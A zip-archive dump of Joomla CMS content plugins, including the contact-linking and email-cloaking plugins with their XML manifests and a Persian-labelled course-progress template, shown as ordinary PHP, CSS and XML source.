			$this->articleid = (int) $this->element['articleid'];
		}

		return $return;
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.9.1
	 */
	protected function getLabel()
	{
		if ($this->hidden)
		{
			return '';
		}

		$data = $this->getLayoutData();

		// Forcing the Alias field to display the tip below
		$position = $this->element['name'] == 'alias' ?
' data-placement="bottom" ' : '';

		// When we have an article let's add the modal and make the title
clickable
		if ($data['articleid'])
		{
			$attribs['data-toggle'] = 'modal';

			$data['label'] = HTMLHelper::_(
				'link',
				'#modal-' . $this->id,
				$data['label'],
				$attribs
			);
		}

		// Here mainly for B/C with old layouts. This can be done in the layouts
directly
		$extraData = array(
			'text'     => $data['label'],
			'for'      => $this->id,
			'classes'  => explode(' ',
$data['labelclass']),
			'position' => $position,
		);

		return
$this->getRenderer($this->renderLabelLayout)->render(array_merge($data,
$extraData));
	}

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.9.2
	 */
	protected function getInput()
	{
		$modalHtml  = '';
		$layoutData = $this->getLayoutData();

		if ($this->articleid)
		{
			$modalParams['title']  = $layoutData['label'];
			$modalParams['url']    = $this->getAssignedArticleUrl();
			$modalParams['height'] = 800;
			$modalParams['width']  = '100%';
			$modalHtml = HTMLHelper::_('bootstrap.renderModal',
'modal-' . $this->id, $modalParams);
		}

		return $modalHtml . parent::getInput();
	}

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.9.1
	 */
	protected function getLayoutData()
	{
		$data = parent::getLayoutData();

		$extraData = array(
			'articleid' => (integer) $this->articleid,
		);

		return array_merge($data, $extraData);
	}

	/**
	 * Return the url of the assigned article based on the current user
language
	 *
	 * @return  string  Returns the link to the article
	 *
	 * @since   3.9.1
	 */
	private function getAssignedArticleUrl()
	{
		$db = Factory::getDbo();

		// Get the info from the article
		$query = $db->getQuery(true)
			->select($db->quoteName(array('id', 'catid',
'language')))
			->from($db->quoteName('#__content'))
			->where($db->quoteName('id') . ' = ' . (int)
$this->articleid);
		$db->setQuery($query);

		try
		{
			$article = $db->loadObject();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			// Something at the database layer went wrong
			return Route::_(
				'index.php?option=com_content&view=article&id='
				. $this->articleid . '&tmpl=component'
			);
		}

		if (!is_object($article))
		{
			// We have not found the article object lets show a 404 to the user
			return Route::_(
				'index.php?option=com_content&view=article&id='
				. $this->articleid . '&tmpl=component'
			);
		}

		// Register ContentHelperRoute
		JLoader::register('ContentHelperRoute', JPATH_BASE .
'/components/com_content/helpers/route.php');

		if (!Associations::isEnabled())
		{
			return Route::_(
				ContentHelperRoute::getArticleRoute(
					$article->id,
					$article->catid,
					$article->language
				) . '&tmpl=component'
			);
		}

		$associatedArticles =
Associations::getAssociations('com_content',
'#__content', 'com_content.item', $article->id);
		$currentLang        = Factory::getLanguage()->getTag();

		if (isset($associatedArticles) && $currentLang !==
$article->language && array_key_exists($currentLang,
$associatedArticles))
		{
			return Route::_(
				ContentHelperRoute::getArticleRoute(
					$associatedArticles[$currentLang]->id,
					$associatedArticles[$currentLang]->catid,
					$associatedArticles[$currentLang]->language
				) . '&tmpl=component'
			);
		}

		// Association is enabled but this article is not associated
		return Route::_(
			'index.php?option=com_content&view=article&id='
				. $article->id . '&catid=' . $article->catid
				. '&tmpl=component&lang=' . $article->language
		);
	}
}
PK	�[<c

content/contact/contact.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.Contact
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Contact Plugin
 *
 * @since  3.2
 */
class PlgContentContact extends JPlugin
{
	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.3
	 */
	protected $db;

	/**
	 * Plugin that retrieves contact information for contact
	 *
	 * @param   string   $context  The context of the content being passed to
the plugin.
	 * @param   mixed    &$row     An object with a "text"
property
	 * @param   mixed    $params   Additional parameters. See {@see
PlgContentContent()}.
	 * @param   integer  $page     Optional page number. Unused. Defaults to
zero.
	 *
	 * @return  boolean	True on success.
	 */
	public function onContentPrepare($context, &$row, $params, $page = 0)
	{
		$allowed_contexts = array('com_content.category',
'com_content.article', 'com_content.featured');

		if (!in_array($context, $allowed_contexts))
		{
			return true;
		}

		// Return if we don't have valid params or don't link the
author
		if (!($params instanceof Registry) ||
!$params->get('link_author'))
		{
			return true;
		}

		// Return if an alias is used
		if ((int) $this->params->get('link_to_alias', 0) === 0
&& $row->created_by_alias != '')
		{
			return true;
		}

		// Return if we don't have a valid article id
		if (!isset($row->id) || !(int) $row->id)
		{
			return true;
		}

		$contact        = $this->getContactData($row->created_by);
		$row->contactid = $contact->contactid;
		$row->webpage   = $contact->webpage;
		$row->email     = $contact->email_to;
		$url            = $this->params->get('url',
'url');

		if ($row->contactid && $url === 'url')
		{
			JLoader::register('ContactHelperRoute', JPATH_SITE .
'/components/com_contact/helpers/route.php');
			$row->contact_link =
JRoute::_(ContactHelperRoute::getContactRoute($contact->contactid .
':' . $contact->alias, $contact->catid));
		}
		elseif ($row->webpage && $url === 'webpage')
		{
			$row->contact_link = $row->webpage;
		}
		elseif ($row->email && $url === 'email')
		{
			$row->contact_link = 'mailto:' . $row->email;
		}
		else
		{
			$row->contact_link = '';
		}

		return true;
	}

	/**
	 * Retrieve Contact
	 *
	 * @param   int  $userId  Id of the user who created the article
	 *
	 * @return  mixed|null|integer
	 */
	protected function getContactData($userId)
	{
		static $contacts = array();

		if (isset($contacts[$userId]))
		{
			return $contacts[$userId];
		}

		$query = $this->db->getQuery(true);

		$query->select('MAX(contact.id) AS contactid, contact.alias,
contact.catid, contact.webpage, contact.email_to');
		$query->from($this->db->quoteName('#__contact_details',
'contact'));
		$query->where('contact.published = 1');
		$query->where('contact.user_id = ' . (int) $userId);

		if (JLanguageMultilang::isEnabled() === true)
		{
			$query->where('(contact.language in '
				. '(' .
$this->db->quote(JFactory::getLanguage()->getTag()) .
',' . $this->db->quote('*') . ') '
				. ' OR contact.language IS NULL)');
		}

		$this->db->setQuery($query);

		$contacts[$userId] = $this->db->loadObject();

		return $contacts[$userId];
	}
}
PK	�[�k����content/contact/contact.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin"
group="content" method="upgrade">
	<name>plg_content_contact</name>
	<author>Joomla! Project</author>
	<creationDate>January 2014</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.2.2</version>
	<description>PLG_CONTENT_CONTACT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contact">contact.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_content_contact.ini</language>
		<language
tag="en-GB">en-GB.plg_content_contact.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="url"
					type="list"
					label="PLG_CONTENT_CONTACT_PARAM_URL_LABEL"
					description="PLG_CONTENT_CONTACT_PARAM_URL_DESCRIPTION"
					default="url"
					>
					<option
value="url">PLG_CONTENT_CONTACT_PARAM_URL_URL</option>
					<option
value="webpage">PLG_CONTENT_CONTACT_PARAM_URL_WEBPAGE</option>
					<option
value="email">PLG_CONTENT_CONTACT_PARAM_URL_EMAIL</option>
				</field>

				<field
					name="link_to_alias"
					type="radio"
					label="PLG_CONTENT_CONTACT_PARAM_ALIAS_LABEL"
					description="PLG_CONTENT_CONTACT_PARAM_ALIAS_DESCRIPTION"
					default="0"
					class="btn-group btn-group-yesno"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[
��2;;,content/course_progress/tmpl/assets/step.cssnu�[���.moojla-progress-wrapper
{
    background-color: brown;
}PK	�[�"�&��(content/course_progress/tmpl/default.phpnu�[���<div
class="moojla-progress-wrapper">
    <div class="title">
        <i class="fas fa-spinner"></i>
        <span>درصد پیشرفت درس</span>
        <span> : <?=
floor($percentages['percentage']);?>%</span>
    </div>
    <div class="moojla-progress">
        <span class="moojla-progress-bar" style="width:
<?=
floor($percentages['percentage']);?>%"></span>
    </div>
</div>
<style>
    .moojla-progress-wrapper .title{
        margin-bottom: 15px;
        display: flex;
    }
    .moojla-progress-wrapper .title i{
        font-size: 1.7rem;
        padding-left: 15px;
        color: #a5afbb;
    }
    .moojla-progress-wrapper .title span{
        align-self: center;
    }
    .moojla-progress-wrapper
    {
        background: white;
        border: 1px solid #e6e6e6;
        border-radius: 5px;
        box-shadow: 2px 0px 5px #e5e5e5;
        font-weight: 100;
        font-size: 0.9rem;
        padding: 8px;
        margin: 20px 0px;
        margin-right: 0px;
    }
    .moojla-progress {
        width: 100%;
        max-width: 260px;
        height: 9px;
        background: #e1e4e8;
        border-radius: 3px;
        overflow: hidden;
    }

    .moojla-progress-bar {
        display: block;
        height: 100%;
        background: linear-gradient(90deg, #ffd33d, #ea4aaa 17%, #b34bff
34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff);
        background-size: 300% 100%;
        animation: progress-animation 20s linear infinite;
    }

    @keyframes progress-animation {
    0%
    {
        background-position: 0%;
    }
    100%
    {
        background-position: 100%;
    }
    }
</style>PK	�[�ׇ��%content/course_progress/tmpl/step.phpnu�[���<?php
	$document = JFactory::getDocument();
	$document->addStyleSheet('/plugins/content/course_progress/tmpl/assets/step.css');
?>

<div class="moojla-progress-wrapper">
    <h5 class="title">
        <!-- <i class="fas fa-spinner"></i>
-->
        <span>درصد پیشرفت درس</span>
     
    </h5>
    <div class="moojla-progress">
        <span class="moojla-progress-bar" style="width:
<?=
floor($percentages['percentage']);?>%"></span>
    </div>
    <span class="progress-number"><?=
floor($percentages['percentage']);?>%</span>
</div>
<style>
    .moojla-progress-wrapper .title{
        margin-bottom: 15px;
        margin-right:10px;
        display: flex;
    }

    .moojla-progress-wrapper .progress-number{
        color: #069c35;
        text-align: center;
        display: block;
        padding-top: 10px;
        font-size: 20px;
        font-family: cursive;
    }

    .moojla-progress-wrapper .title i{
        font-size: 1.7rem;
        padding-left: 15px;
        color: #a5afbb;
    }
    .moojla-progress-wrapper .title span{
        align-self: center;
    }
    .moojla-progress-wrapper
    {
        background: white;
        border: 1px solid #ebeef1;
        border-radius: 5px;
        box-shadow: 0px 0px 13px 1px rgb(70 72 77 / 8%);
        font-weight: 100;
        font-size: 0.9rem;
        padding: 8px;
        margin: 20px 0px;
        margin-right: 0px;
    }
    .moojla-progress {
        width: 95%;
        max-width: 100%;
        height: 11px;
        background: #dce5e8;
        border-radius: 25px;
        overflow: hidden;
        border: 1px solid #ebebeb;
    }

    .moojla-progress-bar {
        display: block;
        height: 100%;
        background: linear-gradient( 
    -45deg,#4cca73 19%,#1fbd50 25%,#1fbd50 50%,#4cca73 50%,#4cca73
75%,#1fbd50 75%,#1fbd50);
        background-size: 1rem 1rem;
        animation: progress-animation 10s linear infinite;
        border-radius: 25px;
    }

    @keyframes progress-animation {
    0%
    {
        background-position: 105%;
    }
    100%
    {
        background-position: 0%;
    }
    }
</style>PK	�[]U��
E
E!content/emailcloak/emailcloak.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.emailcloak
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Email cloack plugin class.
 *
 * @since  1.5
 */
class PlgContentEmailcloak extends JPlugin
{
	/**
	 * Plugin that cloaks all emails in content from spambots via Javascript.
	 *
	 * @param   string   $context  The context of the content being passed to
the plugin.
	 * @param   mixed    &$row     An object with a "text"
property or the string to be cloaked.
	 * @param   mixed    &$params  Additional parameters. See {@see
PlgContentEmailcloak()}.
	 * @param   integer  $page     Optional page number. Unused. Defaults to
zero.
	 *
	 * @return  boolean	True on success.
	 */
	public function onContentPrepare($context, &$row, &$params, $page
= 0)
	{
		// Don't run this plugin when the content is being indexed
		if ($context === 'com_finder.indexer')
		{
			return true;
		}

		if (is_object($row))
		{
			return $this->_cloak($row->text, $params);
		}

		return $this->_cloak($row, $params);
	}

	/**
	 * Generate a search pattern based on link and text.
	 *
	 * @param   string  $link  The target of an email link.
	 * @param   string  $text  The text enclosed by the link.
	 *
	 * @return  string	A regular expression that matches a link containing the
parameters.
	 */
	protected function _getPattern ($link, $text)
	{
		$pattern = '~(?:<a ([^>]*)href\s*=\s*"mailto:' .
$link . '"([^>]*))>' . $text .
'</a>~i';

		return $pattern;
	}

	/**
	 * Adds an attributes to the js cloaked email.
	 *
	 * @param   string  $jsEmail  Js cloaked email.
	 * @param   string  $before   Attributes before email.
	 * @param   string  $after    Attributes after email.
	 *
	 * @return string Js cloaked email with attributes.
	 */
	protected function _addAttributesToEmail($jsEmail, $before, $after)
	{
		if ($before !== '')
		{
			$before = str_replace("'", "\'", $before);
			$jsEmail = str_replace(".innerHTML += '<a '",
".innerHTML += '<a {$before}'", $jsEmail);
		}

		if ($after !== '')
		{
			$after = str_replace("'", "\'", $after);
			$jsEmail = str_replace("'\'>'",
"'\'{$after}>'", $jsEmail);
		}

		return $jsEmail;
	}

	/**
	 * Cloak all emails in text from spambots via Javascript.
	 *
	 * @param   string  &$text    The string to be cloaked.
	 * @param   mixed   &$params  Additional parameters. Parameter
"mode" (integer, default 1)
	 *                             replaces addresses with "mailto:"
links if nonzero.
	 *
	 * @return  boolean  True on success.
	 */
	protected function _cloak(&$text, &$params)
	{
		/*
		 * Check for presence of {emailcloak=off} which is explicits disables
this
		 * bot for the item.
		 */
		if (StringHelper::strpos($text, '{emailcloak=off}') !== false)
		{
			$text = StringHelper::str_ireplace('{emailcloak=off}',
'', $text);

			return true;
		}

		// Simple performance check to determine whether bot should process
further.
		if (StringHelper::strpos($text, '@') === false)
		{
			return true;
		}

		$mode = $this->params->def('mode', 1);

		// Example: any@example.org
		$searchEmail =
'([\w\.\'\-\+]+\@(?:[a-z0-9\.\-]+\.)+(?:[a-zA-Z0-9\-]{2,10}))';

		// Example: any@example.org?subject=anyText
		$searchEmailLink = $searchEmail .
'([?&][\x20-\x7f][^"<>]+)';

		// Any Text
		$searchText =
'((?:[\x20-\x7f]|[\xA1-\xFF]|[\xC2-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF]{2}|[\xF0-\xF4][\x80-\xBF]{3})[^<>]+)';

		// Any Image link
		$searchImage = '(<img[^>]+>)';

		// Any Text with <span or <strong
		$searchTextSpan =
'(<span[^>]+>|<span>|<strong>|<strong><span[^>]+>|<strong><span>)'
. $searchText .
'(</span>|</strong>|</span></strong>)';

		// Any address with <span or <strong
		$searchEmailSpan =
'(<span[^>]+>|<span>|<strong>|<strong><span[^>]+>|<strong><span>)'
. $searchEmail .
'(</span>|</strong>|</span></strong>)';

		/*
		 * Search and fix derivatives of link code <a
href="http://mce_host/ourdirectory/email@example.org"
		 * >email@example.org</a>. This happens when inserting an email
in TinyMCE, cancelling its suggestion to add
		 * the mailto: prefix...
		 */
		$pattern = $this->_getPattern($searchEmail, $searchEmail);
		$pattern = str_replace('"mailto:',
'"http://mce_host([\x20-\x7f][^<>]+/)', $pattern);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[3][0];
			$mailText = $regs[5][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search and fix derivatives of link code <a
href="http://mce_host/ourdirectory/email@example.org"
		 * >anytext</a>. This happens when inserting an email in
TinyMCE, cancelling its suggestion to add
		 * the mailto: prefix...
		 */
		$pattern = $this->_getPattern($searchEmail, $searchText);
		$pattern = str_replace('"mailto:',
'"http://mce_host([\x20-\x7f][^<>]+/)', $pattern);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[3][0];
			$mailText = $regs[5][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@example.org"
		 * >email@example.org</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[3][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@amail.com"
		 * ><anyspan >email@amail.com</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchEmailSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . $regs[5][0] . $regs[6][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement =
html_entity_decode($this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@amail.com">
		 * <anyspan >anytext</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchTextSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . addslashes($regs[5][0]) . $regs[6][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement =
html_entity_decode($this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@example.org">
		 * anytext</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = addslashes($regs[4][0]);

			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[3][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@example.org">
		 * <img anything></a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchImage);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement =
html_entity_decode($this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@example.org">
		 * <img anything>email@example.org</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchImage .
$searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . $regs[5][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement =
html_entity_decode($this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@example.org">
		 * <img anything>any text</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchImage .
$searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . addslashes($regs[5][0]);

			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement =
html_entity_decode($this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@example.org?
		 * subject=Text">email@example.org</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0];

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@example.org?
		 * subject=Text">anytext</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = addslashes($regs[5][0]);

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@amail.com?subject= Text"
		 * ><anyspan >email@amail.com</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchEmailSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0] . $regs[6][0] . $regs[7][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement =
html_entity_decode($this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a
href="mailto:email@amail.com?subject= Text">
		 * <anyspan >anytext</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchTextSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0] . addslashes($regs[6][0]) . $regs[7][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement =
html_entity_decode($this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code
		 * <a href="mailto:email@amail.com?subject=Text"><img
anything></a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchImage);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0] . $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0];

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement =
html_entity_decode($this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code
		 * <a href="mailto:email@amail.com?subject=Text"><img
anything>email@amail.com</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchImage .
$searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0] . $regs[2][0] . $regs[3][0];
			$mailText = $regs[4][0] . $regs[5][0] . $regs[6][0];

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement =
html_entity_decode($this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code
		 * <a href="mailto:email@amail.com?subject=Text"><img
anything>any text</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchImage .
$searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0] . $regs[2][0] . $regs[3][0];
			$mailText = $regs[4][0] . $regs[5][0] . addslashes($regs[6][0]);

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode,
$mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement =
html_entity_decode($this->_addAttributesToEmail($replacement,
$regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1],
strlen($regs[0][0]));
		}

		/*
		 * Search for plain text email addresses, such as email@example.org but
not within HTML tags:
		 * <img src="..." title="email@example.org"> or
<input type="text"
placeholder="email@example.org">
		 * The '<[^<]*>(*SKIP)(*F)|' trick is used to exclude
this kind of occurrences
		 */
		$pattern = '~<[^<]*>(*SKIP)(*F)|' . $searchEmail .
'~i';

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0];
			$replacement = JHtml::_('email.cloak', $mail, $mode);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[1][1], strlen($mail));
		}

		return true;
	}
}
PK	�[�]����!content/emailcloak/emailcloak.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="content" method="upgrade">
	<name>plg_content_emailcloak</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION</description>
	<files>
		<filename
plugin="emailcloak">emailcloak.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_content_emailcloak.ini</language>
		<language
tag="en-GB">en-GB.plg_content_emailcloak.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="mode"
					type="list"
					label="PLG_CONTENT_EMAILCLOAK_MODE_LABEL"
					description="PLG_CONTENT_EMAILCLOAK_MODE_DESC"
					default="1"
					filter="integer"
					>
					<option
value="0">PLG_CONTENT_EMAILCLOAK_NONLINKABLE</option>
					<option
value="1">PLG_CONTENT_EMAILCLOAK_LINKABLE</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[�d8mmcontent/fields/fields.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.Fields
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die();

/**
 * Plug-in to show a custom field in eg an article
 * This uses the {fields ID} syntax
 *
 * @since  3.7.0
 */
class PlgContentFields extends JPlugin
{
	/**
	 * Plugin that shows a custom field
	 *
	 * @param   string  $context  The context of the content being passed to
the plugin.
	 * @param   object  &$item    The item object.  Note $article->text
is also available
	 * @param   object  &$params  The article params
	 * @param   int     $page     The 'page' number
	 *
	 * @return void
	 *
	 * @since  3.7.0
	 */
	public function onContentPrepare($context, &$item, &$params, $page
= 0)
	{
